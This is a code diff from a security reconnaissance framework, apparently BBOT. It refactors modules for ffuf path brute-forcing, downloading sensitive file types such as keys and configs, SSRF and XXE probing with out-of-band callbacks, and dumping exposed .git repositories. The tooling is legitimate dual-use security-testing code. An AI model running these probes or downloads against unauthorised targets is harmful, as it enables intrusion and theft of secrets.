-                context=f"{{module}} brute-forced {event.data} and found {{event.type}}: {{event.data}}",
-            )
-
-    async def filter_event(self, event):
-        if "endpoint" in event.tags:
-            self.debug(f"rejecting URL [{event.data}] because we don't ffuf endpoints")
-            return False
-        return True
-
-    async def baseline_ffuf(self, url, exts=[""], prefix="", suffix="", mode="normal"):
-        filters = {}
-        for ext in exts:
-            self.debug(f"running baseline for URL [{url}] with ext [{ext}]")
-            # For each "extension", we will attempt to build a baseline using 4 requests
-
-            canary_results = []
-
-            canary_length = 4
-            canary_list = []
-            for i in range(0, 4):
-                canary_list.append("".join(random.choice(string.ascii_lowercase) for i in range(canary_length)))
-                canary_length += 2
-
-            canary_temp_file = self.helpers.tempfile(canary_list, pipe=False)
-            async for canary_r in self.execute_ffuf(
-                canary_temp_file,
-                url,
-                prefix=prefix,
-                suffix=suffix,
-                mode=mode,
-                baseline=True,
-                apply_filters=False,
-                filters=filters,
-            ):
-                canary_results.append(canary_r)
-
-            # First, lets check to make sure we got all 4 requests. If we didn't, there are likely serious connectivity issues.
-            # We should issue a warning in that case.
-
-            if len(canary_results) != 4:
-                self.warning(
-                    f"Could not attain baseline for URL [{url}] ext [{ext}] because baseline results are missing. Possible connectivity issues."
-                )
-                filters[ext] = ["ABORT", "CONNECTIVITY_ISSUES"]
-                continue
-
-            # if the codes are different, we should abort, this should also be a warning, as it is highly unusual behavior
-            if len({d["status"] for d in canary_results}) != 1:
-                self.warning("Got different codes for each baseline. This could indicate load balancing")
-                filters[ext] = ["ABORT", "BASELINE_CHANGED_CODES"]
-                continue
-
-            # if the code we received was a 404, we are just going to look for cases where we get a different code
-            if canary_results[0]["status"] == 404:
-                self.debug("All baseline results were 404, we can just look for anything not 404")
-                filters[ext] = ["-fc", "404"]
-                continue
-
-            # if we only got 403, we might already be blocked by a WAF. Issue a warning, but it's possible all 'not founds' are given 403
-            if canary_results[0]["status"] == 403:
-                self.warning(
-                    "All requests of the baseline received a 403 response. It is possible a WAF is actively blocking your traffic."
-                )
-
-            # if we only got 429, we are almost certainly getting blocked by a WAF or rate-limiting. Specifically with 429, we should respect them and abort the scan.
-            if canary_results[0]["status"] == 429:
-                self.warning(
-                    f"Received code 429 (Too many requests) for URL [{url}]. A WAF or application is actively blocking requests, aborting."
-                )
-                filters[ext] = ["ABORT", "RECEIVED_429"]
-                continue
-
-            # we start by seeing if all of the baselines have the same character count
-            if len({d["length"] for d in canary_results}) == 1:
-                self.debug("All baseline results had the same char count, we can make a filter on that")
-                filters[ext] = [
-                    "-fc",
-                    str(canary_results[0]["status"]),
-                    "-fs",
-                    str(canary_results[0]["length"]),
-                    "-fmode",
-                    "and",
-                ]
-                continue
-
-            # if that doesn't work we can try words
-            if len({d["words"] for d in canary_results}) == 1:
-                self.debug("All baseline results had the same word count, we can make a filter on that")
-                filters[ext] = [
-                    "-fc",
-                    str(canary_results[0]["status"]),
-                    "-fw",
-                    str(canary_results[0]["words"]),
-                    "-fmode",
-                    "and",
-                ]
-                continue
-
-            # as a last resort we will try lines
-            if len({d["lines"] for d in canary_results}) == 1:
-                self.debug("All baseline results had the same word count, we can make a filter on that")
-                filters[ext] = [
-                    "-fc",
-                    str(canary_results[0]["status"]),
-                    "-fl",
-                    str(canary_results[0]["lines"]),
-                    "-fmode",
-                    "and",
-                ]
-                continue
-
-            # if even the line count isn't stable, we can only reliably count on the result if the code is different
-            filters[ext] = ["-fc", f"{str(canary_results[0]['status'])}"]
-
-        return filters
-
-    async def execute_ffuf(
-        self,
-        tempfile,
-        url,
-        prefix="",
-        suffix="",
-        exts=[""],
-        filters={},
-        mode="normal",
-        apply_filters=True,
-        baseline=False,
-    ):
-        for ext in exts:
-            if mode == "normal":
-                self.debug("in mode [normal]")
-
-                fuzz_url = f"{url}{prefix}FUZZ{suffix}"
-
-                command = [
-                    "ffuf",
-                    "-noninteractive",
-                    "-s",
-                    "-H",
-                    f"User-Agent: {self.scan.useragent}",
-                    "-json",
-                    "-w",
-                    tempfile,
-                    "-u",
-                    f"{fuzz_url}{ext}",
-                ]
-
-            elif mode == "hostheader":
-                self.debug("in mode [hostheader]")
-
-                command = [
-                    "ffuf",
-                    "-noninteractive",
-                    "-s",
-                    "-H",
-                    f"User-Agent: {self.scan.useragent}",
-                    "-H",
-                    f"Host: FUZZ{suffix}",
-                    "-json",
-                    "-w",
-                    tempfile,
-                    "-u",
-                    f"{url}",
-                ]
-            else:
-                self.debug("invalid mode specified, aborting")
-                return
-
-            if self.rate > 0:
-                command += ["-rate", f"{self.rate}"]
-
-            if self.proxy:
-                command += ["-x", self.proxy]
-
-            if apply_filters:
-                if ext in filters.keys():
-                    if filters[ext][0] == ("ABORT"):
-                        self.warning(f"Exiting from FFUF run early, received an ABORT filter: [{filters[ext][1]}]")
-                        continue
-
-                    elif filters[ext] is None:
-                        pass
-
-                    else:
-                        command += filters[ext]
-            else:
-                command.append("-mc")
-                command.append("all")
-
-            for hk, hv in self.scan.custom_http_headers.items():
-                command += ["-H", f"{hk}: {hv}"]
-
-            async for found in self.run_process_live(command):
-                try:
-                    found_json = json.loads(found)
-                    input_json = found_json.get("input", {})
-                    if type(input_json) != dict:
-                        self.debug("Error decoding JSON from ffuf")
-                        continue
-                    encoded_input = input_json.get("FUZZ", "")
-                    input_val = base64.b64decode(encoded_input).decode()
-                    if len(input_val.rstrip()) > 0:
-                        if self.scan.stopping:
-                            break
-                        if input_val.rstrip() == self.canary:
-                            self.debug("Found canary! aborting...")
-                            return
-                        else:
-                            if mode == "normal":
-                                # before emitting, we are going to send another baseline. This will immediately catch things like a WAF flipping blocking on us mid-scan
-                                if baseline is False:
-                                    pre_emit_temp_canary = [
-                                        f
-                                        async for f in self.execute_ffuf(
-                                            self.helpers.tempfile(
-                                                ["".join(random.choice(string.ascii_lowercase) for i in range(4))],
-                                                pipe=False,
-                                            ),
-                                            url,
-                                            prefix=prefix,
-                                            suffix=suffix,
-                                            mode=mode,
-                                            exts=[ext],
-                                            baseline=True,
-                                            filters=filters,
-                                        )
-                                    ]
-                                    if len(pre_emit_temp_canary) == 0:
-                                        yield found_json
-
-                                    else:
-                                        self.verbose(
-                                            f"Would have reported URL [{found_json['url']}], but baseline check failed. This could be due to a WAF turning on mid-scan, or an unusual web server configuration."
-                                        )
-                                        self.verbose(f"Aborting the current run against [{url}]")
-                                        return
-
-                            yield found_json
-
-                except json.decoder.JSONDecodeError:
-                    self.debug("Received invalid JSON from FFUF")
-
-    def generate_templist(self, prefix=None):
-        virtual_file = []
-        if prefix:
-            prefix = prefix.strip().lower()
-        max_lines = self.config.get("lines")
-
-        for line in self.wordlist_lines[:max_lines]:
-            # Check if it starts with the given prefix (if any)
-            if (not prefix) or line.lower().startswith(prefix):
-                virtual_file.append(line)
-
-        virtual_file.append(self.canary)
-        return self.helpers.tempfile(virtual_file, pipe=False), len(virtual_file)
-
-    def generate_wordlist(self, wordlist_file):
-        wordlist_set = set()  # Use a set to avoid duplicates
-        ignore_case = self.config.get("ignore_case", False)  # Get the ignore_case option
-        for line in self.helpers.read_file(wordlist_file):
-            line = line.strip()
-            if not line:
-                continue
-            if line in self.blacklist:
-                self.debug(f"Skipping adding [{line}] to wordlist because it was in the blacklist")
-                continue
-            if any(x in line for x in self.banned_characters):
-                self.debug(f"Skipping adding [{line}] to wordlist because it has a banned character")
-                continue
-            if ignore_case:
-                line = line.lower()  # Convert to lowercase if ignore_case is enabled
-            wordlist_set.add(line)  # Add to set to handle duplicates
-        return list(wordlist_set)  # Convert set back to list before returning
diff --git a/bbot/modules/filedownload.py b/bbot/modules/filedownload.py
index 0f113f41ec..b43e58be0c 100644
--- a/bbot/modules/filedownload.py
+++ b/bbot/modules/filedownload.py
@@ -2,6 +2,7 @@
 from pathlib import Path
 
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class filedownload(BaseModule):
@@ -14,83 +15,84 @@ class filedownload(BaseModule):
 
     watched_events = ["URL_UNVERIFIED", "HTTP_RESPONSE"]
     produced_events = ["FILESYSTEM"]
-    flags = ["active", "safe", "web-basic", "download"]
+    flags = ["safe", "active", "web", "download"]
     meta = {
         "description": "Download common filetypes such as PDF, DOCX, PPTX, etc.",
         "created_date": "2023-10-11",
         "author": "@TheTechromancer",
     }
-    options = {
-        "extensions": [
-            "bak",  #  Backup File
-            "bash",  #  Bash Script or Configuration
-            "bashrc",  #  Bash Script or Configuration
-            "cfg",  #  Configuration File
-            "conf",  #  Configuration File
-            "crt",  #  Certificate File
-            "csv",  #  Comma Separated Values File
-            "db",  #  SQLite Database File
-            "dll",  #  Windows Dynamic Link Library
-            "doc",  #  Microsoft Word Document (Old Format)
-            "docx",  #  Microsoft Word Document
-            "exe",  #  Windows PE executable
-            "ica",  #  Citrix Independent Computing Architecture File
-            "indd",  #  Adobe InDesign Document
-            "ini",  #  Initialization File
-            "jar",  #  Java Archive
-            "json",  #  JSON File
-            "key",  #  Private Key File
-            "log",  #  Log File
-            "markdown",  #  Markdown File
-            "md",  #  Markdown File
-            "msi",  # Windows setup file
-            "odg",  #  OpenDocument Graphics (LibreOffice, OpenOffice)
-            "odp",  #  OpenDocument Presentation (LibreOffice, OpenOffice)
-            "ods",  #  OpenDocument Spreadsheet (LibreOffice, OpenOffice)
-            "odt",  #  OpenDocument Text (LibreOffice, OpenOffice)
-            "pdf",  #  Adobe Portable Document Format
-            "pem",  #  Privacy Enhanced Mail (SSL certificate)
-            "pps",  #  Microsoft PowerPoint Slideshow (Old Format)
-            "ppsx",  #  Microsoft PowerPoint Slideshow
-            "ppt",  #  Microsoft PowerPoint Presentation (Old Format)
-            "pptx",  #  Microsoft PowerPoint Presentation
-            "ps1",  #  PowerShell Script
-            "pub",  #  Public Key File
-            "raw",  #  Raw Image File Format
-            "rdp",  #  Remote Desktop Protocol File
-            "rsa",  #  RSA Private Key File
-            "sh",  #  Shell Script
-            "sql",  #  SQL Database Dump
-            "sqlite",  #  SQLite Database File
-            "swp",  #  Swap File (temporary file, often Vim)
-            "sxw",  #  OpenOffice.org Writer document
-            "tar.gz",  # Gzip-Compressed Tar Archive
-            "tgz",  #  Gzip-Compressed Tar Archive
-            "tar",  #  Tar Archive
-            "txt",  #  Plain Text Document
-            "vbs",  #  Visual Basic Script
-            "war",  #  Java Web Archive
-            "wpd",  #  WordPerfect Document
-            "xls",  #  Microsoft Excel Spreadsheet (Old Format)
-            "xlsx",  #  Microsoft Excel Spreadsheet
-            "xml",  #  eXtensible Markup Language File
-            "yaml",  #  YAML Ain't Markup Language
-            "yml",  #  YAML Ain't Markup Language
-            "zip",  #  Zip Archive
-            "lzma",  #  LZMA Compressed File
-            "rar",  #  RAR Compressed File
-            "7z",  #  7-Zip Compressed File
-            "xz",  #  XZ Compressed File
-            "bz2",  #  Bzip2 Compressed File
-        ],
-        "max_filesize": "10MB",
-        "output_folder": "",
-    }
-    options_desc = {
-        "extensions": "File extensions to download",
-        "max_filesize": "Cancel download if filesize is greater than this size",
-        "output_folder": "Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.",
-    }
+
+    class Config(BaseModuleConfig):
+        extensions: list[str] = Field(
+            [
+                "bak",
+                "bash",
+                "bashrc",
+                "cfg",
+                "conf",
+                "crt",
+                "csv",
+                "db",
+                "dll",
+                "doc",
+                "docx",
+                "exe",
+                "ica",
+                "indd",
+                "ini",
+                "jar",
+                "json",
+                "key",
+                "log",
+                "markdown",
+                "md",
+                "msi",
+                "odg",
+                "odp",
+                "ods",
+                "odt",
+                "pdf",
+                "pem",
+                "pps",
+                "ppsx",
+                "ppt",
+                "pptx",
+                "ps1",
+                "pub",
+                "raw",
+                "rdp",
+                "rsa",
+                "sh",
+                "sql",
+                "sqlite",
+                "swp",
+                "sxw",
+                "tar.gz",
+                "tgz",
+                "tar",
+                "txt",
+                "vbs",
+                "war",
+                "wpd",
+                "xls",
+                "xlsx",
+                "xml",
+                "yaml",
+                "yml",
+                "zip",
+                "lzma",
+                "rar",
+                "7z",
+                "xz",
+                "bz2",
+            ],
+            description="File extensions to download",
+        )
+        max_filesize: str = Field("10MB", description="Cancel download if filesize is greater than this size")
+        output_folder: str = Field(
+            "",
+            description="Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.",
+        )
 
     scope_distance_modifier = 3
 
@@ -131,22 +133,20 @@ async def filter_event(self, event):
         return True
 
     def hash_event(self, event):
-        if event.type == "HTTP_RESPONSE":
-            return hash(event.data["url"])
-        return hash(event.data)
+        return hash(event.url or event.data)
 
     async def handle_event(self, event):
         if event.type == "URL_UNVERIFIED":
-            url_lower = event.data.lower()
+            url_lower = event.url.lower()
             extension_matches = any(url_lower.endswith(f".{e}") for e in self.extensions)
             filedownload_requested = "filedownload" in event.tags
             if extension_matches or filedownload_requested:
-                await self.download_file(event.data, source_event=event)
+                await self.download_file(event.url, source_event=event)
         elif event.type == "HTTP_RESPONSE":
             headers = event.data.get("header", {})
             content_type = headers.get("content_type", "")
             if content_type:
-                url = event.data["url"]
+                url = event.url
                 await self.download_file(url, content_type=content_type, source_event=event)
 
     async def download_file(self, url, content_type=None, source_event=None):
diff --git a/bbot/modules/fingerprintx.py b/bbot/modules/fingerprintx.py
index cd72ae1d0e..4bbac86970 100644
--- a/bbot/modules/fingerprintx.py
+++ b/bbot/modules/fingerprintx.py
@@ -1,25 +1,25 @@
 import json
 import subprocess
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class fingerprintx(BaseModule):
     watched_events = ["OPEN_TCP_PORT"]
-    produced_events = ["PROTOCOL"]
-    flags = ["active", "safe", "service-enum", "slow"]
+    produced_events = ["PROTOCOL", "URL_UNVERIFIED"]
+    flags = ["safe", "active", "service-enum", "slow"]
     meta = {
         "description": "Fingerprint exposed services like RDP, SSH, MySQL, etc.",
         "created_date": "2023-01-30",
         "author": "@TheTechromancer",
     }
-    options = {"version": "1.1.4"}
-    options_desc = {"version": "fingerprintx version"}
     _batch_size = 10
     _module_threads = 2
     _priority = 2
 
-    options = {"skip_common_web": True}
-    options_desc = {"skip_common_web": "Skip common web ports such as 80, 443, 8080, 8443, etc."}
+    class Config(BaseModuleConfig):
+        version: str = Field("1.1.4", description="fingerprintx version")
+        skip_common_web: bool = Field(True, description="Skip common web ports such as 80, 443, 8080, 8443, etc.")
 
     deps_ansible = [
         {
@@ -78,10 +78,8 @@ async def handle_batch(self, *events):
             if not host and port and protocol:
                 continue
             banner = j.get("metadata", {}).get("banner", "").strip()
-            port_data = f"{host}:{port}"
+            port_data = self.helpers.make_netloc(host, port)
             tags = set()
-            if host and ip:
-                tags.add(f"ip-{ip}")
             parent_event = _input.get(port_data)
             protocol_data = {"host": host, "protocol": protocol}
             if port:
@@ -95,3 +93,15 @@ async def handle_batch(self, *events):
                 tags=tags,
                 context=f"{{module}} probed {port_data} and detected {{event.type}}: {protocol}",
             )
+            if protocol in ("HTTP", "HTTPS"):
+                port_int = int(port) if port else None
+                is_default_port = (protocol == "HTTP" and port_int == 80) or (protocol == "HTTPS" and port_int == 443)
+                netloc = self.helpers.make_netloc(host, None if is_default_port else port_int)
+                url = f"{protocol.lower()}://{netloc}"
+                await self.emit_event(
+                    url,
+                    "URL_UNVERIFIED",
+                    parent=parent_event,
+                    tags=tags,
+                    context=f"{{module}} probed {port_data} and detected a {protocol} web service",
+                )
diff --git a/bbot/modules/fullhunt.py b/bbot/modules/fullhunt.py
index 13a3de5f56..d6a12cf03f 100644
--- a/bbot/modules/fullhunt.py
+++ b/bbot/modules/fullhunt.py
@@ -1,18 +1,19 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class fullhunt(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query the fullhunt.io API for subdomains",
         "created_date": "2022-08-24",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "FullHunt API Key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="FullHunt API Key", sensitive=True, mandatory=True)
 
     base_url = "https://fullhunt.io/api/v1"
 
diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py
index 6ccde510b9..ae0e1baab0 100644
--- a/bbot/modules/generic_ssrf.py
+++ b/bbot/modules/generic_ssrf.py
@@ -1,5 +1,6 @@
 from bbot.errors import InteractshError
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 ssrf_params = [
@@ -59,9 +60,9 @@ async def test(self, event):
                 subdomain_tag = test_path_result[1]
                 test_url = f"{base_url}{test_path}"
                 self.generic_ssrf.debug(f"Sending request to URL: {test_url}")
-                r = await self.generic_ssrf.helpers.curl(url=test_url)
+                r = await self.generic_ssrf.helpers.request(url=test_url)
                 if r:
-                    self.process(event, r, subdomain_tag)
+                    self.process(event, r.text, subdomain_tag)
 
     def process(self, event, r, subdomain_tag):
         response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1]
@@ -83,7 +84,7 @@ class Generic_SSRF(BaseSubmodule):
     severity = "HIGH"
 
     def set_base_url(self, event):
-        return event.data
+        return event.url
 
     def create_paths(self):
         test_paths = []
@@ -102,10 +103,10 @@ class Generic_SSRF_POST(BaseSubmodule):
     severity = "HIGH"
 
     def set_base_url(self, event):
-        return event.data
+        return event.url
 
     async def test(self, event):
-        test_url = f"{event.data}"
+        test_url = event.url
 
         post_data = {}
         for param in ssrf_params:
@@ -122,8 +123,11 @@ async def test(self, event):
         post_data_list = [(subdomain_tag, post_data), (subdomain_tag_lower, post_data_lower)]
 
         for tag, pd in post_data_list:
-            r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd)
-            self.process(event, r, tag)
+            # Send raw body (not URL-encoded) so payload URLs like http://... reach the server literally.
+            raw_body = "&".join(f"{k}={v}" for k, v in pd.items())
+            r = await self.generic_ssrf.helpers.request(url=test_url, method="POST", body=raw_body)
+            if r:
+                self.process(event, r.text, tag)
 
 
 class Generic_XXE(BaseSubmodule):
@@ -142,27 +146,23 @@ async def test(self, event):
 ]>
 <foo>&{rand_entity};</foo>"""
         test_url = event.parsed_url.geturl()
-        r = await self.generic_ssrf.helpers.curl(
-            url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"}
+        r = await self.generic_ssrf.helpers.request(
+            url=test_url, method="POST", body=post_body, headers={"Content-type": "application/xml"}
         )
         if r:
-            self.process(event, r, subdomain_tag)
+            self.process(event, r.text, subdomain_tag)
 
 
 class generic_ssrf(BaseModule):
     watched_events = ["URL"]
-    produced_events = ["VULNERABILITY"]
-    flags = ["active", "aggressive", "web-thorough"]
+    produced_events = ["FINDING"]
+    flags = ["active", "invasive", "web-heavy"]
     meta = {"description": "Check for generic SSRFs", "created_date": "2022-07-30", "author": "@liquidsec"}
-    options = {
-        "skip_dns_interaction": False,
-    }
-    options_desc = {
-        "skip_dns_interaction": "Do not report DNS interactions (only HTTP interaction)",
-    }
-    in_scope_only = True
 
-    deps_apt = ["curl"]
+    class Config(BaseModuleConfig):
+        skip_dns_interaction: bool = Field(False, description="Do not report DNS interactions (only HTTP interaction)")
+
+    in_scope_only = True
 
     async def setup(self):
         self.submodules = {}
@@ -223,20 +223,20 @@ async def interactsh_callback(self, r):
 
                 self.debug(f"Emitting event with description: {description}")  # Debug the final description
 
-                event_type = "VULNERABILITY" if protocol == "HTTP" else "FINDING"
                 event_data = {
                     "host": str(matched_event.host),
-                    "url": matched_event.data,
+                    "url": matched_event.url,
+                    "name": matched_technique,
                     "description": description,
+                    "severity": matched_severity if protocol == "HTTP" else "LOW",
+                    "confidence": "CONFIRMED" if protocol == "HTTP" else "MEDIUM",
                 }
-                if protocol == "HTTP":
-                    event_data["severity"] = matched_severity
 
                 await self.emit_event(
                     event_data,
-                    event_type,
+                    "FINDING",
                     matched_event,
-                    context=f"{{module}} scanned {matched_event.data} and detected {{event.type}}: {matched_technique}",
+                    context=f"{{module}} scanned {matched_event.url} and detected {{event.type}}: {matched_technique}",
                 )
             else:
                 # this is likely caused by something trying to resolve the base domain first and can be ignored
diff --git a/bbot/modules/git.py b/bbot/modules/git.py
index 569aa0e489..f9f10b777d 100644
--- a/bbot/modules/git.py
+++ b/bbot/modules/git.py
@@ -6,7 +6,7 @@
 class git(BaseModule):
     watched_events = ["URL"]
     produced_events = ["FINDING", "CODE_REPOSITORY"]
-    flags = ["active", "safe", "web-basic", "code-enum"]
+    flags = ["safe", "active", "web", "code-enum"]
     meta = {
         "description": "Check for exposed .git repositories",
         "created_date": "2023-05-30",
@@ -18,13 +18,13 @@ class git(BaseModule):
     fp_regex = re.compile(r"<html|<body", re.I)
 
     async def handle_event(self, event):
-        base_url = event.data.rstrip("/")
+        base_url = event.url.rstrip("/")
         urls = {
             # look for git config in both
             self.helpers.urljoin(base_url, ".git/config"),
             self.helpers.urljoin(f"{base_url}/", ".git/config"),
         }
-        async for url, response in self.helpers.request_batch(urls):
+        async for url, response in self.helpers.request_batch_stream(urls):
             text = getattr(response, "text", "")
             if not text:
                 text = ""
@@ -32,7 +32,14 @@ async def handle_event(self, event):
                 if getattr(response, "status_code", 0) == 200 and "[core]" in text and not self.fp_regex.match(text):
                     description = f"Exposed .git config at {url}"
                     await self.emit_event(
-                        {"host": str(event.host), "url": url, "description": description},
+                        {
+                            "host": str(event.host),
+                            "url": url,
+                            "description": description,
+                            "name": "Exposed .git config",
+                            "severity": "MEDIUM",
+                            "confidence": "HIGH",
+                        },
                         "FINDING",
                         event,
                         context="{module} detected {event.type}: {description}",
diff --git a/bbot/modules/git_clone.py b/bbot/modules/git_clone.py
index e94e3cad99..44ae16a885 100644
--- a/bbot/modules/git_clone.py
+++ b/bbot/modules/git_clone.py
@@ -1,22 +1,25 @@
 from pathlib import Path
 from subprocess import CalledProcessError
 from bbot.modules.templates.github import github
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class git_clone(github):
     watched_events = ["CODE_REPOSITORY"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "safe", "slow", "code-enum", "download"]
+    flags = ["safe", "passive", "slow", "code-enum", "download"]
     meta = {
         "description": "Clone code github repositories",
         "created_date": "2024-03-08",
         "author": "@domwhewell-sage",
     }
-    options = {"api_key": "", "output_folder": ""}
-    options_desc = {
-        "api_key": "Github token",
-        "output_folder": "Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.",
-    }
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Github token", sensitive=True)
+        output_folder: str = Field(
+            "",
+            description="Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.",
+        )
 
     deps_apt = ["git"]
 
@@ -34,7 +37,7 @@ async def filter_event(self, event):
         return True
 
     async def handle_event(self, event):
-        repository_url = event.data.get("url")
+        repository_url = event.url
         repository_path = await self.clone_git_repository(repository_url)
         if repository_path:
             self.verbose(f"Cloned {repository_url} to {repository_path}")
diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py
index 0521ff8ee7..791347fb9c 100644
--- a/bbot/modules/gitdumper.py
+++ b/bbot/modules/gitdumper.py
@@ -2,27 +2,28 @@
 from pathlib import Path
 from subprocess import CalledProcessError
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class gitdumper(BaseModule):
     watched_events = ["CODE_REPOSITORY"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "safe", "slow", "code-enum", "download"]
+    flags = ["safe", "passive", "slow", "code-enum", "download"]
     meta = {
         "description": "Download a leaked .git folder recursively or by fuzzing common names",
         "created_date": "2025-02-11",
         "author": "@domwhewell-sage",
     }
-    options = {
-        "output_folder": "",
-        "fuzz_tags": False,
-        "max_semanic_version": 10,
-    }
-    options_desc = {
-        "output_folder": "Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.",
-        "fuzz_tags": "Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version",
-        "max_semanic_version": "Maximum version number to fuzz for (default < v10.10.10)",
-    }
+
+    class Config(BaseModuleConfig):
+        output_folder: str = Field(
+            "",
+            description="Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.",
+        )
+        fuzz_tags: bool = Field(
+            False, description="Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version"
+        )
+        max_semanic_version: int = Field(10, description="Maximum version number to fuzz for (default < v10.10.10)")
 
     scope_distance_modifier = 2
 
@@ -114,7 +115,7 @@ async def filter_event(self, event):
         return True
 
     async def handle_event(self, event):
-        repo_url = event.data.get("url")
+        repo_url = event.url
         self.info(f"Processing leaked .git directory at {repo_url}")
         repo_folder = self.output_dir / self.helpers.tagify(repo_url)
         self.helpers.mkdir(repo_folder)
@@ -201,36 +202,66 @@ async def download_git_packs(self, url, folder):
         if url_list:
             await self.download_files(url_list, folder)
 
-    async def regex_files(self, regex, folder=Path(), file=Path(), files=[]):
+    # Skip regex scan for files larger than this — real git ref/object/info
+    # files are small; oversized is almost always a webserver returning HTML.
+    _regex_file_max_bytes = 10 * 1024 * 1024
+    # Cap download size per file. Real git files are tiny (refs/HEAD <1KB,
+    # index a few KB) or pack files (10s of MB legit). Anything bigger is
+    # a misconfigured / malicious server returning an error page.
+    _download_max_size = "10MB"
+    # Cap how deep ``download_object`` recursion can go. Real git object
+    # graphs are shallow (commit → tree → blob, depth 10-20 in practice).
+    _download_object_max_depth = 100
+
+    async def regex_files(self, regex, folder=None, file=None, files=()):
         results = []
-        if folder:
-            if folder.is_dir():
-                for file_path in folder.rglob("*"):
-                    if file_path.is_file():
-                        results.extend(await self.regex_file(regex, file_path))
+        if folder is not None and folder.is_dir():
+            for file_path in folder.rglob("*"):
+                if file_path.is_file():
+                    results.extend(await self.regex_file(regex, file_path))
         if files:
-            for file in files:
-                results.extend(await self.regex_file(regex, file))
-        if file:
+            for f in files:
+                results.extend(await self.regex_file(regex, f))
+        if file is not None:
             results.extend(await self.regex_file(regex, file))
         return results
 
-    async def regex_file(self, regex, file=Path()):
-        if file.exists() and file.is_file():
-            with file.open("r", encoding="utf-8", errors="ignore") as file:
-                content = file.read()
-                matches = await self.helpers.re.findall(regex, content)
-                if matches:
-                    return matches
+    async def regex_file(self, regex, file=None):
+        if file is None or not (file.exists() and file.is_file()):
+            return []
+        try:
+            size = file.stat().st_size
+        except OSError:
+            return []
+        if size > self._regex_file_max_bytes:
+            self.debug(f"Skipping regex scan of {file} ({size} bytes)")
+            return []
+        with file.open("r", encoding="utf-8", errors="ignore") as fh:
+            content = fh.read()
+            matches = await self.helpers.re.findall(regex, content)
+            if matches:
+                return matches
         return []
 
-    async def download_object(self, object, repo_url, repo_folder):
+    async def download_object(self, object, repo_url, repo_folder, _seen=None, _depth=0):
+        if _seen is None:
+            _seen = set()
+        # cycle detection — git tree objects can reference each other in
+        # malformed/malicious repos
+        if object in _seen:
+            return
+        _seen.add(object)
+        # depth cap — even without cycles, an unbounded tree would burn
+        # stack frames + memory per frame
+        if _depth >= self._download_object_max_depth:
+            self.debug(f"download_object: hit max recursion depth at {object}")
+            return
         await self.download_files(
             [self.helpers.urlparse(self.helpers.urljoin(repo_url, f"objects/{object[:2]}/{object[2:]}"))], repo_folder
         )
         output = await self.git_catfile(object, option="-p", folder=repo_folder)
         for obj in await self.helpers.re.findall(self.obj_regex, output):
-            await self.download_object(obj, repo_url, repo_folder)
+            await self.download_object(obj, repo_url, repo_folder, _seen=_seen, _depth=_depth + 1)
 
     async def download_files(self, urls, folder):
         for url in urls:
@@ -243,7 +274,7 @@ async def download_files(self, urls, folder):
             self.helpers.mkdir(filename.parent)
             if hash(str(file_url)) not in self.urls_downloaded:
                 self.verbose(f"Downloading {file_url} to {filename}")
-                await self.helpers.download(file_url, filename=filename, warn=False)
+                await self.helpers.download(file_url, filename=filename, warn=False, max_size=self._download_max_size)
                 self.urls_downloaded.add(hash(str(file_url)))
         if any(folder.rglob("*")):
             return True
diff --git a/bbot/modules/github_codesearch.py b/bbot/modules/github_codesearch.py
index e27d856648..538f159b2e 100644
--- a/bbot/modules/github_codesearch.py
+++ b/bbot/modules/github_codesearch.py
@@ -1,19 +1,21 @@
 from bbot.modules.templates.github import github
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class github_codesearch(github, subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["CODE_REPOSITORY", "URL_UNVERIFIED"]
-    flags = ["passive", "subdomain-enum", "safe", "code-enum"]
+    flags = ["safe", "passive", "subdomain-enum", "code-enum"]
     meta = {
         "description": "Query Github's API for code containing the target domain name",
         "created_date": "2023-12-14",
         "author": "@domwhewell-sage",
-        "auth_required": True,
     }
-    options = {"api_key": "", "limit": 100}
-    options_desc = {"api_key": "Github token", "limit": "Limit code search to this many results"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Github token", sensitive=True, mandatory=True)
+        limit: int = Field(100, description="Limit code search to this many results")
 
     github_raw_url = "https://raw.githubusercontent.com/"
 
@@ -32,7 +34,7 @@ async def handle_event(self, event):
                 context=f'{{module}} searched github.com for "{query}" and found {{event.type}} with matching content at {repo_url}',
             )
             for raw_url in raw_urls:
-                url_event = self.make_event(raw_url, "URL_UNVERIFIED", parent=repo_event, tags=["httpx-safe"])
